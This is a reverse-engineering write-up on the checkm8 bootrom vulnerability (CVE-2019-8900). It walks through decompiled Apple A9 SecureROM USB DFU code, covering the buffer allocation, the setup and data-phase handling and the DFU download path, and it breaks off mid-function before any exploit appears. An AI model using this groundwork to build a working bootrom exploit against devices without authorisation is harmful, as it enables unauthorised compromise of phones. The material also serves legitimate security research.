checkm8 detail analysis
CVE-2019-8900
USB
USB is host-centric, only the host is allowed to initiate a transaction, a USB device only answers.
Every device has at least 1 configuration, a configuration represents the different scenarios the device operates in, but at 1 point in time only 1 configuration is active.
Each configuration contains interfaces (for example the Apple DFU interface), which is a set of endpoints that together serve one specific feature.
An endpoint is where data is sent/received, each endpoint has 1 buffer of its own and 1 of the 4 transfer types: Control, Interrupt, Bulk, Isochronous. Every device is required to have Endpoint 0 (EP0), 2-way, IN + OUT (from the host’s point of view).
DWC = DesignWare USB Controller, the physical Synopsys USB chip that Apple embeds in the SoC. The code in SecureROM is just a driver that writes commands to the DWC, everything on the wire (ACK, NAK, STALL, data toggle…) the DWC does by itself, the driver does not control individual packets.
USB Control Transfer
Maximum packet size of a control transfer:
- Low-speed:
8bytes. - Full-speed:
64bytes. - High-speed:
8/16/32/64bytes.
Apple DFU fixes it at 64 bytes (0x40).
A control transfer has 3 stages, each stage consists of 1 or more transactions, each transaction = Token (SETUP, IN, OUT) + Data (optional) + Handshake (ACK, NACK, STALL, NYET).
The diagram leaves out the Handshake:

Setup stage
The host sends a SETUP token -> an 8 byte setup packet -> device ACK. If the packet is corrupted, the device stays silent and the host retries.
The setup packet structure is 8 bytes:

bmRequestType: Bitmap: direction + type + recipient.- Standard requests: to declare, identify and configure the device over USB.
- DFU Class requests: to serve the DFU interface itself, load firmware, control state.

bRequest:

wValue,wIndex: parameters according to the request type.wLength: the size in the data stage.
Data stage
OUT: the host sends an OUT token, then data. IN: the host sends an IN token to ask for data. The data is split into 64 byte chunks and sent one after another.
The stage ends either when wLength bytes have arrived, or on a packet smaller than 64 bytes, or on a Zero-Length Packet (ZLP).
In SecureROM/iBoot there is 1 buffer initialized at USB init, and data phase packets are copied into it as they arrive.
Status stage
The opposite direction of the data stage, using a ZLP to confirm OK after the data transfer is done.
DFU algorithm
Here we will take a look at the A9 SecureROM first, SecureROM for s8000si, iBoot-2234.0.0.3.
rom_boot_main()
Starting from the SecureROM entrypoint:
void __noreturn rom_boot_main()
{
BOOL dfu_gate_gpio; // w19
BOOL skip_dfu_wait; // w20
int dfu_detected; // w0
_BOOL8 dfu_flag_reg_bit100; // x0
__int64 dfu_wait_t0_1; // x19
_BOOL8 i; // x0
__int64 dfu_wait_t0_2; // x19
int boot_dev_index; // w19
char boot_dev_flag; // w25
int boot_dev_type; // w28
int boot_dev_id; // w27
int dfu_image_size; // w0
__int64 image_size; // x24
_DWORD *image_desc; // x20
int expected_fourcc; // w8
int verify_result; // w24
void (__fastcall *usb_shutdown_stub)(__int64, __int64, _QWORD, _QWORD, _QWORD); // x0
int v17; // [xsp+1Ch] [xbp-74h] BYREF
int v18; // [xsp+20h] [xbp-70h] BYREF
int type; // [xsp+24h] [xbp-6Ch] BYREF
__int64 verify_buflen; // [xsp+28h] [xbp-68h] BYREF
__int64 verify_bufptr; // [xsp+30h] [xbp-60h] BYREF
int verify_fourcc; // [xsp+3Ch] [xbp-54h] BYREF
platform_el3_init(a1: 0);
j_platform_init_clocks();
j_gpio_apply_pinmux_defaults();
dfu_gate_gpio = dfu_gpio_b15p3_high();
skip_dfu_wait = !dfu_gpio_b12p1_low() || !dfu_gpio_b12p0_low();
j_aop_gpio_early_init();
platform_runtime_init();
platform_read_boot_straps();
nand_host_bridge_init();
dfu_detected = dfu_gate_gpio && j_read_dfu_flag_reg_bit100();
if ( ((dfu_detected | skip_dfu_wait) & 1) == 0 ) ...
boot_dev_index = dfu_detected << 31 >> 31;
if ( (unsigned int)boot_select_device(a1: boot_dev_index, a2: &type, a3: &v18, a4: &v17) == 0 ) ...
while ( 1 )
{
boot_dev_flag = v18;
boot_dev_type = type;
boot_dev_id = v17;
dfu_notify_boot_dev(result: 1, a2: type, a3: v17);
usb_core_setup(a1: 1);
switch ( boot_dev_type )
{
case 4:
dfu_gpio_b11p0_set(a1: 1);
// usb init -> wait for event -> wake up and shutdown usb
// 0x180380000 = INSECURE_MEMORY
dfu_image_size = getDFUImage(buffer: (void *)0x180380000LL, maxLength: 0x80000);
if ( dfu_image_size < 0 )
goto LABEL_31;
if ( (unsigned int)dfu_image_size > 0x80000 )
((void (__fastcall __noreturn *)(__int64, __int64))panic)(
a1: (__int64)&byte_100015594,
a2: (__int64)&byte_100015594);
image_size = dfu_image_size;
image_desc = image_desc_create(a1: 0x180380000LL, a2: dfu_image_size, a3: 0);
expected_fourcc = 'ibss';
break;
case 3:
image_desc = (_DWORD *)((__int64 (__fastcall *)())flash_load_illb_image)();
expected_fourcc = 'illb';
image_size = 0x80000;
break;
case 1:
((void (__fastcall *)())nor_flash_init_and_register)();
break;
default:
goto LABEL_31;
}
if ( image_desc != nullptr )
{
verify_fourcc = expected_fourcc;
verify_buflen = image_size;
verify_bufptr = 0x180380000LL;
image_desc[4] |= (2 * boot_dev_flag) & 2 ^ 0xB;
// verify received image
verify_result = image4_verify(
a1: (__int64)image_desc,
a2: (__int64)&verify_fourcc,
a3: 1u,
a4: nullptr,
a5: (char **)&verify_bufptr,
a6: &verify_buflen);
image_desc_free(ptr: image_desc);
dfu_notify_boot_dev(result: 0, a2: boot_dev_type, a3: boot_dev_id);
if ( verify_result == 0 )
{
usb_flush_pending();
usb_shutdown_stub = (void (__fastcall *)(__int64, __int64, _QWORD, _QWORD, _QWORD))build_usb_shutdown_stub();
// handle execution to iBSS
jump_to_image(a1: 0, a2: usb_shutdown_stub, a3: 0x180380000LL, a4: 0);
}
goto LABEL_33;
}
LABEL_31:
dfu_notify_boot_dev(result: 0, a2: boot_dev_type, a3: boot_dev_id);
LABEL_33:
boot_dev_index += boot_dev_index >= 0;
if ( (boot_select_device(a1: boot_dev_index, a2: &type, a3: &v18, a4: &v17) & 1) == 0 )
goto LABEL_34;
}
}When the user presses the home/volume + side button combination, the device is forced into DFU, and getDFUImage() is called with 2 arguments:
0x180380000: calledINSECURE_MEMORY, in SRAM, where iBSS will be placed and loaded.0x80000=512KB, the maximum size of the iBSS image.
If the image is received and verified successfully, it goes on to the next step in the boot chain.
getDFUImage()
getDFUImage() initializes the USB stack, then sleeps waiting for dfuEvent to wake it and dfuDone to be set. On wake up it calls usb_quiesce() to shut down the USB stack.
int getDFUImage(void *buffer, int maxLength)
{
imageBuffer = (volatile unsigned __int8 *)buffer;
imageBufferSize = maxLength;
// usb_start() to init IO buffer every retry
if ( (unsigned int)usb_start() == 0 && !dfuDone )
{
do
event_wait(event: &dfuEvent);
while ( !dfuDone );
}
usb_quiesce();
return completionStatus;
}During init it calls the function usb_dfu_init():
__int64 usb_start()
{
__int64 *hw_base; // x0
hw_base = usb_get_hw_base();
return usb_init(a1: hw_base);
}
__int64 __fastcall usb_init(const void *a1)
{
int v2; // w0
if ( (usb_inited & 1) != 0 )
return 0;
usb_controller_reset(a1);
v2 = usb_build_descriptors(a1: "Apple Mobile Device (DFU Mode)");
if ( v2 == -1 || usb_dfu_init() == -1 || (unsigned int)usb_init_serial_strings() == -1 )
{
usb_free();
return 0xFFFFFFFFLL;
}
else
{
LOBYTE(usb_inited) = 1;
return 0;
}
}usb_dfu_init()
int usb_dfu_init()
{
if ( !dfuInitialized )
{
// allocate IO buffer 0x800 bytes 0x40 alignment
io_buffer = (volatile unsigned __int8 *)memalign(size: 0x800u, alignment: 0x40u);
bzero(ptr: (void *)io_buffer, n: 0x800u);
LOBYTE(dfuStatus) = 0;
bwPollTimeout_low = 50;
bwPollTimeout_mid = 0;
bwPollTimeout_high = 0;
dfuStatus_bState = DFU_IDLE;
dfuState = DFU_IDLE;
dfuStatus_iString = 0;
*(_QWORD *)&completionStatus = 0xFFFFFFFFLL;
dfuDone = false;
event_init(result: (__int64)&dfuEvent, a2: 1, a3: 0);
// create interface (ifnum = 1)
dfuInterface.enabled = 1;
dfuInterface.name = (const char *)&dword_100017B54;
LODWORD(dfuInterface.interface_num) = 1;
dfuInterface.serial_string = byte_100017B4D;
// setup + data phase handler
dfuInterface.handle_request = usb_dfu_handle_interface_request;
dfuInterface.handle_data_phase = usb_dfu_handle_data_phase;
dfuInterface.handle_bus_reset = usb_dfu_handle_bus_reset;
// register interface
usb_core_register_interface(interface: &dfuInterface);
dfuInitialized = true;
}
return 0;
}Here io_buffer is initialized, the global buffer belonging to the DFU interface, 0x800 bytes in size, used to hold data temporarily on IN or OUT for DFU Class requests.
Then the function initializes the DFU interface handlers, with:
usb_dfu_handle_interface_request()to handle the setup phase.usb_dfu_handle_data_phase()handles the data phase.
SecureROM also has a “usb” task running alongside the main task:
void usb_controller_start()
{
*(_DWORD *)&usb_shared_state.flags = 0;
event_init(result: (__int64)&usb_shared_state.wake_event, a2: 1, a3: 0);
event_init(result: (__int64)&usb_shared_state.stop_event, a2: 1, a3: 0);
usb_shared_state.task = task_create_alloc(name: &byte_100015617, entry: usb_task, arg: nullptr, stack_size: 0x1000u);
sub_10000BE44(result: (__int64)usb_shared_state.task);
}usb_task()
It sleeps waiting for wake_event, and on waking it processes things based on the hardware interrupt, calling usb_core_handle_usb_control_receive() to handle the setup and data packets:
// USB task: waits for the ISR event, services controller resets and EP0 packets, then drains endpoint completion queues.
int __fastcall usb_task()
{
unsigned int endpoint_irq_status; // w23
unsigned int irq_status; // w26
__int64 v2; // x1
__int64 v3; // x2
__int64 v4; // x3
__int64 v5; // x4
__int64 v6; // x5
__int64 v7; // x6
__int64 v8; // x7
__int64 v9; // x0
int rx_status_bits; // w8
int setup_status_bit; // w9
unsigned int setup_packet_received; // w24
unsigned int rx_status; // w26
unsigned int selected_packet_flag; // w8
int have_data_packet; // w8
unsigned int in_endpoint_mask; // w26
unsigned int out_endpoint_mask; // w23
int endpoint_number; // w24
unsigned __int8 data_phase_flag; // [xsp+1Fh] [xbp-51h] BYREF
do
{
// wait for wake_event
event_wait(event: &usb_shared_state.wake_event);
if ( (usb_shared_state.flags & 1) != 0 )
{
lock_acquire();
irq_status = usb_shared_state.irq_status;
endpoint_irq_status = usb_shared_state.endpoint_irq_status;
usb_shared_state.irq_status = 0;
usb_shared_state.endpoint_irq_status = 0;
usb_shared_state.flags &= ~1u;
lock_release();
if ( (irq_status & 0x800) != 0 && !read_dfu_flag_reg_bit100() ) ...
if ( (irq_status & 0x1000) != 0 ) ...
if ( (irq_status & 0x2000) != 0 ) ...
if ( (irq_status & 0xC0000) != 0 && endpoint_irq_status != 0 )
{
// hardware completion interrupt
if ( (endpoint_irq_status & 1) != 0 )
// IN token
// EP0 IN completion, call standard_callbacks, free io_request and allocate ZLP
usb_ep_complete_io(endpoint: 0x80u);
if ( (endpoint_irq_status & 0x10000) != 0 )
{
data_phase_flag = 0;
lock_acquire();
LOWORD(rx_status) = usb_shared_state.endpoints[1].irq_status;
usb_shared_state.endpoints[1].irq_status = 0;
lock_release();
// check SETUP or DATA token
if ( usb_shared_state.hardware_revision >= 0x300A )// new firmware
selected_packet_flag = rx_status & 0x8000;
else // old firmware
selected_packet_flag = rx_status & 8;
if ( selected_packet_flag != 0 ) // is setup packet
{
// safe copy 8 bytes only from dma buffer
*(_QWORD *)usb_shared_state.ep0_setup_packet = *(_QWORD *)usb_ep0_dma_buffer;
have_data_packet = 0;
usb_shared_state.ep0_setup_seen = 1;
}
else
{
// is data packet
have_data_packet = rx_status & 1;
}
if ( (rx_status & 8) != 0 && usb_shared_state.ep0_setup_seen == 1 )
{
// rx setup phase
usb_core_handle_usb_control_receive(
rxBuffer: usb_shared_state.ep0_setup_packet,
isSetup: 1u,
dataLen: 8u,
dataPhase: &data_phase_flag);
usb_shared_state.ep0_setup_seen = 0;
}
else if ( have_data_packet != 0 )
{
// rx data phase
usb_core_handle_usb_control_receive(
rxBuffer: (void *)usb_ep0_dma_buffer, // directly use dma buffer
isSetup: 0,
dataLen: 64 - (MEMORY[0x20C100B10] & 0x7F),
dataPhase: &data_phase_flag);
}
usb_ep0_rearm(a1: data_phase_flag);
}
in_endpoint_mask = (unsigned __int16)endpoint_irq_status >> 1;
if ( (in_endpoint_mask | (endpoint_irq_status >> 17)) != 0 ) ...
}
}
}
while ( (usb_shared_state.flags & 2) == 0 );
// signal stop_event
event_signal(event: &usb_shared_state.stop_event);
return 0;
}usb_core_handle_usb_control_receive()
The function usb_core_handle_usb_control_receive() takes care of processing the packets received from the host, both the setup stage and the data stage. From here we will dig into the flow where the host sends the iBSS firmware to the device via the USB class request DFU_DNLOAD. usb_core_handle_usb_control_receive() is called per packet:
// rx handler (host to device requests)
void usb_core_handle_usb_control_receive(
void *rxBuffer,
unsigned int isSetup,
unsigned int dataLen,
unsigned __int8 *dataPhase)
{
void *v6; // x0
__int64 v7; // x1
__int64 v8; // x2
__int64 v9; // x3
__int64 v10; // x4
__int64 v11; // x5
__int64 v12; // x6
__int64 v13; // x7
int wIndex; // w21
__int64 (__fastcall *interface_handle_request)(usb_device_request *, __int64 *); // x8
int ret; // w0
unsigned __int64 currentLength; // x21
void (__fastcall *handle_data_phase)(unsigned int); // x8
void (*io_request_callback)(struct usb_device_io_request *); // x21
unsigned __int64 wLength; // x20
__int64 (__fastcall *v22)(void *); // x8
__int64 *dataSrc; // x1
int v24; // w8
__int64 v25; // x20
_QWORD *v26; // x9
__int64 (__fastcall *v27)(void *); // x9
__int64 (__fastcall *handle_set_interface)(_QWORD); // x8
unsigned int setup_wLength; // w8
unsigned int otherLength; // w9
__int64 **dataSrcPtr; // x8
struct usb_device_io_request *request; // x0
unsigned __int8 data; // w8
*dataPhase = 0;
// OUT data phase
if ( (isSetup & 1) == 0 ) ...
// SETUP setup phase
v6 = memcpy(dst: &setupRequest, src: rxBuffer, n: sizeof(setupRequest));
// handle standard device requests
if ( (setupRequest.bmRequestType & 0x60) != 0x20 )
{
if ( (setupRequest.bmRequestType & 0x60) != 0 )
goto invalid;
// next data phase is OUT
if ( (setupRequest.bmRequestType & 0x80u) == 0 )
{
switch ( setupRequest.bRequest )
{
case 1u: // USB_CLEAR_FEATURE
if ( (setupRequest.bmRequestType & 0x1F) != 2 || setupRequest.wValue != 0 )
goto stall_ep0;
usb_core_stall_ep0(a1: setupRequest.wIndex, a2: 0);
goto LABEL_64;
case 3u: // USB_SET_FEATURE
if ( (setupRequest.bmRequestType & 0x1F) == 2 )
{
if ( setupRequest.wValue != 0 )
goto stall_ep0;
usb_core_stall_ep0(a1: setupRequest.wIndex, a2: 1);
LODWORD(wLength) = 0;
io_request_callback = nullptr;
goto allocate_and_submit_io_request;
}
if ( (setupRequest.bmRequestType & 0x1F) == 0 && setupRequest.wValue == 2 && LOBYTE(setupRequest.wIndex) == 0 )
{
LODWORD(wLength) = 0;
byte_1800877C1[0] = HIBYTE(setupRequest.wIndex) & 0xF;
io_request_callback = (void (*)(struct usb_device_io_request *))usb_std_get_status;
goto allocate_and_submit_io_request;
}
goto stall_ep0;
case 5u: // USB_SET_ADDRESS
usb_core_ep_init();
goto LABEL_64;
case 9u: // USB_SET_CONFIGURATION
if ( *(_DWORD *)usb_device_address == setupRequest.wValue
|| (*(_DWORD *)usb_device_address = setupRequest.wValue, v24 = usb_interface_count, usb_interface_count < 1) )
{
LABEL_64:
LODWORD(wLength) = 0;
goto prepair_io_request;
}
v25 = 0;
// standard device request callback
io_request_callback = standard_device_request_cb;
do
{
v26 = usb_interfaces.interface_ptrs[v25];
if ( v26 != nullptr )
{
v27 = (__int64 (__fastcall *)(void *))v26[10];
if ( v27 != nullptr )
{
v6 = (void *)v27(a1: v6);
v24 = usb_interface_count;
}
}
++v25;
}
while ( (int)v25 < v24 );
LODWORD(wLength) = 0;
break;
case 0xBu: // USB_SET_INTERFACE
if ( setupRequest.wIndex >= usb_interface_count )
goto stall_ep0;
handle_set_interface = *((__int64 (__fastcall **)(_QWORD))usb_interfaces.interface_ptrs[setupRequest.wIndex]
+ 16);
if ( handle_set_interface == nullptr )
goto stall_ep0; // always since DFU doesnt implement it?
LODWORD(wLength) = handle_set_interface(a1: setupRequest.wValue);
goto err_bit_check_from_handler_set_interface;
default:
goto stall_ep0;
}
goto allocate_and_submit_io_request;
}
// next data phase is IN
if ( setupRequest.bRequest <= 5u )
{
if ( setupRequest.bRequest == 0 ) // USB_GET_STATUS
{
byte_1800876C1[0] = 0;
global_io_buffer[0] = 0;
if ( (setupRequest.bmRequestType & 0x1F) == 2 )
global_io_buffer[0] = usb_endpoint_is_stalled(
endpoint: setupRequest.wIndex,
a2: v7,
a3: v8,
a4: v9,
a5: v10,
a6: v11,
a7: v12,
a8: v13);
// allocate io_request for IN respond
// standard device request callback
io_request_callback = standard_device_request_cb;
LODWORD(wLength) = 2;
allocate_and_submit_io_request:
// allocate an io_request structure
request = usb_alloc_ep0_request(io_buffer: nullptr, io_length: wLength, callback: io_request_callback);
if ( request != nullptr )
{
usb_core_submit_request(request);
goto data_phase;
}
}
stall_ep0:
usb_core_stall_ep0(a1: 0x80u, a2: 1);
goto data_phase;
}
if ( setupRequest.bRequest != 6 )
{
if ( setupRequest.bRequest == 10 ) // USB_GET_INTERFACE
{
global_io_buffer[0] = 0;
if ( setupRequest.wIndex < usb_interface_count )
{
v22 = *((__int64 (__fastcall **)(void *))usb_interfaces.interface_ptrs[setupRequest.wIndex] + 15);
if ( v22 != nullptr )
global_io_buffer[0] = v22(a1: v6);
}
}
else
{
if ( setupRequest.bRequest != 8 )
goto stall_ep0;
global_io_buffer[0] = usb_device_address[0];// USB_GET_CONFIGURATION
}
// standard device request callback
io_request_callback = standard_device_request_cb;
LODWORD(wLength) = 1;
goto allocate_and_submit_io_request;
}
switch ( HIBYTE(setupRequest.wValue) ) // USB_GET_DESCRIPTOR
{
case 1u: // DEVICE
if ( setupRequest.wLength >= 18u ) // 18 bytes
wLength = 18;
else
wLength = setupRequest.wLength;
// wLength in [0, 0x100] only
if ( wLength >= 0x101 )
goto panic;
dataSrc = (__int64 *)((char *)&qword_1800807C0[1] + 2);
goto copy_to_global_io_buffer;
case 2u: // CONFIGURATION
setup_wLength = setupRequest.wLength;
dataSrc = (__int64 *)qword_180087800;
otherLength = *(unsigned __int16 *)(qword_180087800 + 2);// 27 bytes
goto take_min_length;
case 3u: // STRING
if ( LOBYTE(setupRequest.wValue) == 0 )
{
dataSrc = (__int64 *)byte_100017B49;
get_length_for_comparison:
setup_wLength = setupRequest.wLength;
otherLength = *(unsigned __int8 *)dataSrc;// 4 bytes
take_min_length:
if ( setup_wLength >= otherLength )
wLength = otherLength;
else
wLength = setup_wLength;
if ( (unsigned int)wLength >= 0x101 )
panic:
panic(message: "", format: "");
copy_to_global_io_buffer:
memcpy(dst: (void *)global_io_buffer, src: dataSrc, n: wLength);
err_bit_check_from_handler_set_interface:
if ( (wLength & 0x80000000) != 0LL ) // not really happen here
goto stall_ep0;
prepair_io_request:
// standard device request callback
io_request_callback = standard_device_request_cb;
goto allocate_and_submit_io_request;
}
if ( LOBYTE(setupRequest.wValue) == 1 ) // manufacturer
{
dataSrcPtr = (__int64 **)&usb_device_desc_ptr;// 22 bytes
}
else
{
if ( LOBYTE(setupRequest.wValue) > 9u )
goto LABEL_108;
dataSrcPtr = (__int64 **)&usb_interfaces.string_descs[LOBYTE(setupRequest.wValue)];
}
// idx 1: serial+nonce "NONC:<40hex>" (+" SNON:..."), length 2×len+2 (~50+).
// idx 2: "Apple Inc.", length 22.
// idx 3: "Apple Mobile Device (DFU Mode)", length 62.
// idx 4: serial "CPID:8960 CPRV:15 ... ECID:... IBFL:... SRTG:[SRNM]", length 2×len+2.
// idx 5: "Apple Mobile Device (DFU Mode)" duplicate of idx 3, length 62.
dataSrc = *dataSrcPtr;
if ( *dataSrcPtr != nullptr )
goto get_length_for_comparison;
LABEL_108:
LODWORD(wLength) = 0;
goto err_bit_check_from_handler_set_interface;
case 6u: // DEVICE_QUALIFIER
if ( setupRequest.wLength >= 10u ) // 10 bytes
wLength = 10;
else
wLength = setupRequest.wLength;
if ( wLength >= 0x101 )
goto panic;
dataSrc = qword_1800807C0;
goto copy_to_global_io_buffer;
case 7u: // OTHER_SPEED
if ( setupRequest.wLength >= (unsigned int)*(unsigned __int16 *)(qword_180087808[0] + 2) )
wLength = *(unsigned __int16 *)(qword_180087808[0] + 2);// 27 bytes
else
wLength = setupRequest.wLength;
if ( (unsigned int)wLength >= 0x101 )
goto panic;
memcpy(dst: (void *)global_io_buffer, src: (const void *)qword_180087808[0], n: wLength);
byte_1800876C1[0] = 7;
goto err_bit_check_from_handler_set_interface;
default:
goto stall_ep0;
}
}
// handle DFU class requests
if ( (setupRequest.bmRequestType & 0x1F) != 1 ) ...
wIndex = setupRequest.wIndex;
if ( setupRequest.wIndex >= usb_interface_count )
goto invalid;
// usb_dfu_handle_interface_request()
interface_handle_request = *((__int64 (__fastcall **)(usb_device_request *, __int64 *))usb_interfaces.interface_ptrs[setupRequest.wIndex]
+ 8);
if ( interface_handle_request == nullptr )
goto invalid;
ret = interface_handle_request(a1: &setupRequest, a2: &ep0DataPhaseBuffer);
// next data phase is OUT
if ( (setupRequest.bmRequestType & 0x80u) == 0 )
{
if ( ret >= 1 )
{
// requested wLength
*(_DWORD *)ep0DataPhaseLength = ret;
ep0DataPhaseInterfaceNum = wIndex;
goto data_phase;
}
// no or no more data phase
if ( ret == 0 )
{
usb_core_send_zlp();
goto data_phase;
}
invalid:
// ret = -1
usb_core_stall_ep0(a1: 0x80u, a2: 1);
*dataPhase = 0;
return;
}
data_phase:
// next data phase is IN
if ( (setupRequest.bmRequestType & 0x80) != 0 )
{
if ( (setupRequest.bmRequestType & 0x80) != 0x80 )// redundant code
return;
// there will be data phase from device to host
data = 1;
}
else // host to device
{
// wLength != 0, there will be data phase
data = setupRequest.wLength != 0;
}
*dataPhase = data;
}usb_dfu_handle_interface_request()
The case of receiving a setup packet:
- Copy the
8bytes in the setup packet into the globalsetupRequest. - Check whether it is a standard device request or a DFU class request.
- If it is a DFU class request, call the function
usb_dfu_handle_interface_request()that was set when the interface was registered, with the argumentout_bufferbeing the pointer toep0DataPhaseBuffer:
// Handle DFU Class requests. Returns expected OUT length, 0 for a no-data/status response, or -1 to stall EP0.
int __fastcall usb_dfu_handle_interface_request(const usb_device_request *request, unsigned __int8 **out_buffer)
{
__int64 v2; // x2
__int64 v3; // x3
__int64 v4; // x4
__int64 v5; // x5
__int64 v6; // x6
__int64 v7; // x7
__int32 dfu_request; // w8
int callback_result; // w0
__int64 v12; // x2
__int64 v13; // x3
__int64 v14; // x4
__int64 v15; // x5
__int64 v16; // x6
__int64 v17; // x7
int new_state; // w8
dfu_state current_state; // w8
dfu_state reported_state; // w9
int response_length; // w2
__int32 requested_length; // w8
volatile unsigned int expected_length; // w8
volatile int completion_value; // w8
int v25; // [xsp+0h] [xbp-10h]
dfu_request = request->bRequest;
// device to host
if ( (request->bmRequestType & 0x80u) != 0 )
{
if ( dfu_request != 3 )
{
if ( dfu_request != 5 )
return -1;
// DFU_GETSTATE
reported_state = dfuState;
*io_buffer = reported_state;
response_length = 1;
goto respond_to_host;
}
// DFU_GETSTATUS
memcpy(dst: (void *)io_buffer, src: (const void *)&dfuStatus, n: 6u);
new_state = dfuState;
if ( new_state == 6 )
{
LOBYTE(dfuStatus) = 0;
bwPollTimeout_low = -72;
bwPollTimeout_mid = 11;
bwPollTimeout_high = 0;
current_state = DFU_MANIFEST;
}
else
{
requested_length = dfuState;
if ( requested_length != 7 )
{
response_length = 6;
goto respond_to_host;
}
expected_length = totalReceived;
if ( expected_length <= 0xF || imageBuffer == nullptr )
panic(
a1: (unsigned __int8 *)&byte_100015594,
a2: &byte_100015594,
a3: v12,
a4: v13,
a5: v14,
a6: v15,
a7: v16,
a8: v17,
a9: v25);
completion_value = expected_length - 16;
completionStatus = completion_value;
bzero(ptr: (void *)&imageBuffer[completion_value], n: 0x10u);
totalReceived = 0;
LOBYTE(dfuStatus) = 0;
bwPollTimeout_low = 50;
bwPollTimeout_mid = 0;
bwPollTimeout_high = 0;
current_state = 8;
}
dfuStatus_bState = current_state;
dfuState = current_state;
response_length = 6;
dfuStatus_iString = 0;
respond_to_host:
usb_core_do_transfer(endpoint: 0x80, buffer: (void *)io_buffer, length: response_length, callback: nullptr);
return 0;
}
// host to device
if ( out_buffer == nullptr )
return -1;
// DFU_CLRSTATUS or DFU_ABORT
if ( dfu_request == 6 || dfu_request == 4 )
{
callback_result = 0;
LOBYTE(dfuStatus) = 0;
bwPollTimeout_low = 50;
bwPollTimeout_mid = 0;
bwPollTimeout_high = 0;
dfuStatus_bState = 2;
dfuState = 2;
dfuStatus_iString = 0;
totalReceived = 0;
if ( dfuDone )
// update global vars to signal abort DFU
return callback_result;
completionStatus = -1;
dfuDone = true;
// wake up getDFUImage
event_signal(event: &dfuEvent, a2: (__int64)out_buffer, a3: v2, a4: v3, a5: v4, a6: v5, a7: v6, a8: v7);
return 0;
}
if ( dfu_request != 1 )
return -1;
// DFU_DNLOAD
callback_result = request->wLength;
if ( callback_result != 0 )
{
if ( (unsigned int)callback_result >= 0x801 )
{
LOBYTE(dfuStatus) = 15;
bwPollTimeout_low = 50;
bwPollTimeout_mid = 0;
bwPollTimeout_high = 0;
dfuStatus_bState = 2;
dfuState = 2;
dfuStatus_iString = 0;
return -1;
}
// if wLength fit 0x800 then set out_buffer (data phase buffer) to IO buffer
*out_buffer = (unsigned __int8 *)io_buffer;
}
else // wLength = 0, no data phase
{
LOBYTE(dfuStatus) = 0;
bwPollTimeout_low = 50;
bwPollTimeout_mid = 0;
bwPollTimeout_high = 0;
dfuStatus_bState = 6;
dfuState = 6;
dfuStatus_iString = 0;
}
dfuExpectingLength = callback_result;
// return requested length
return callback_result;
}Let’s look at the DFU_DNLOAD request, which the host uses to send the iBSS image to the device. If the wLength of the request exceeds the size of io_buffer (wLength >= 0x801) it returns -1 to stall EP0, otherwise it sets ep0DataPhaseBuffer = io_buffer. Finally it returns the wLength value.
If wLength is valid, then:
if ( ret >= 1 )
{
// requested wLength
*(_DWORD *)ep0DataPhaseLength = ret;
ep0DataPhaseInterfaceNum = wIndex;
goto data_phase;
}Now ep0DataPhaseBuffer = io_buffer, ep0DataPhaseLength = wLength from the setup packet.
Next the host sends the image to the device in the data stage, 64 bytes per packet, until the whole 0x800 block is there, in usb_core_handle_usb_control_receive():
// rx handler (host to device requests)
void usb_core_handle_usb_control_receive(
void *rxBuffer,
unsigned int isSetup,
unsigned int dataLen,
unsigned __int8 *dataPhase)
{
void *v6; // x0
__int64 v7; // x1
__int64 v8; // x2
__int64 v9; // x3
__int64 v10; // x4
__int64 v11; // x5
__int64 v12; // x6
__int64 v13; // x7
int wIndex; // w21
__int64 (__fastcall *interface_handle_request)(usb_device_request *, __int64 *); // x8
int ret; // w0
unsigned __int64 currentLength; // x21
void (__fastcall *handle_data_phase)(unsigned int); // x8
void (*io_request_callback)(struct usb_device_io_request *); // x21
unsigned __int64 wLength; // x20
__int64 (__fastcall *v22)(void *); // x8
__int64 *dataSrc; // x1
int v24; // w8
__int64 v25; // x20
_QWORD *v26; // x9
__int64 (__fastcall *v27)(void *); // x9
__int64 (__fastcall *handle_set_interface)(_QWORD); // x8
unsigned int setup_wLength; // w8
unsigned int otherLength; // w9
__int64 **dataSrcPtr; // x8
struct usb_device_io_request *request; // x0
unsigned __int8 data; // w8
*dataPhase = 0;
// OUT data phase
if ( (isSetup & 1) == 0 )
{
if ( dataLen == 0 )
return;
// data will be receive still fit the buffer size
if ( totalLength + dataLen <= *(_DWORD *)ep0DataPhaseLength )
{
if ( *(_DWORD *)ep0DataPhaseLength - totalLength >= dataLen )
currentLength = dataLen;
else
currentLength = (unsigned int)(*(_DWORD *)ep0DataPhaseLength - totalLength);
// copy data from rx buffer to IO buffer
memcpy(dst: (void *)ep0DataPhaseBuffer, src: rxBuffer, n: currentLength);
ep0DataPhaseBuffer += (unsigned int)currentLength;
totalLength += currentLength;
*dataPhase = 1;
// still not finished and last packet was 0x40 bytes
if ( totalLength != *(_DWORD *)ep0DataPhaseLength && dataLen == 0x40 )
return;
// received enough data or last packet < 0x40 bytes
if ( ep0DataPhaseInterfaceNum >= 0 && ep0DataPhaseInterfaceNum < usb_interface_count )
{
// usb_dfu_handle_data_phase() after finish the data phase
handle_data_phase = *((void (__fastcall **)(unsigned int))usb_interfaces.interface_ptrs[ep0DataPhaseInterfaceNum]
+ 9);
if ( handle_data_phase != nullptr )
{
// usb_dfu_handle_data_phase(totalLength)
((void (*)(void))handle_data_phase)();
usb_core_send_zlp();
}
}
}
else
{
usb_core_stall_ep0(a1: 0x80u, a2: 1);
}
// done data phase
totalLength = 0;
*(_DWORD *)ep0DataPhaseLength = 0;
// clear pointer to IO buffer
ep0DataPhaseBuffer = 0;
ep0DataPhaseInterfaceNum = -2;
*dataPhase = 0;
return;
}
...
}If the extra data received still fits the free space in the buffer, it copies from the DMA buffer into ep0DataPhaseBuffer (io_buffer), advances the ep0DataPhaseBuffer pointer and accumulates the amount of data received.
usb_dfu_handle_data_phase()
When the data has fully arrived, usb_dfu_handle_data_phase() is called with the total data received as its argument, to handle the end of the data phase, and then the device sends the host a ZLP:
// USB DFU OUT data-phase completion: verifies length/destination, copies io_buffer into imageBuffer, and updates DFU state.
void __fastcall usb_dfu_handle_data_phase(unsigned int transfer_length)
{
volatile unsigned int expected_length; // w8
__int64 received_offset; // x8
volatile unsigned int image_limit; // w10
dfu_status_code error_status; // w8
dfu_state next_state; // w8
__int64 copy_offset; // x8
expected_length = dfuExpectingLength;
if ( expected_length != transfer_length )
{
LOBYTE(error_status) = 9;
goto LABEL_5;
}
received_offset = totalReceived;
image_limit = imageBufferSize;
if ( (unsigned int)received_offset + transfer_length > image_limit )
{
LOBYTE(error_status) = 8;
LABEL_5:
LOBYTE(dfuStatus) = error_status;
bwPollTimeout_low = 50;
bwPollTimeout_mid = 0;
bwPollTimeout_high = 0;
next_state = 10;
go_to_next_state:
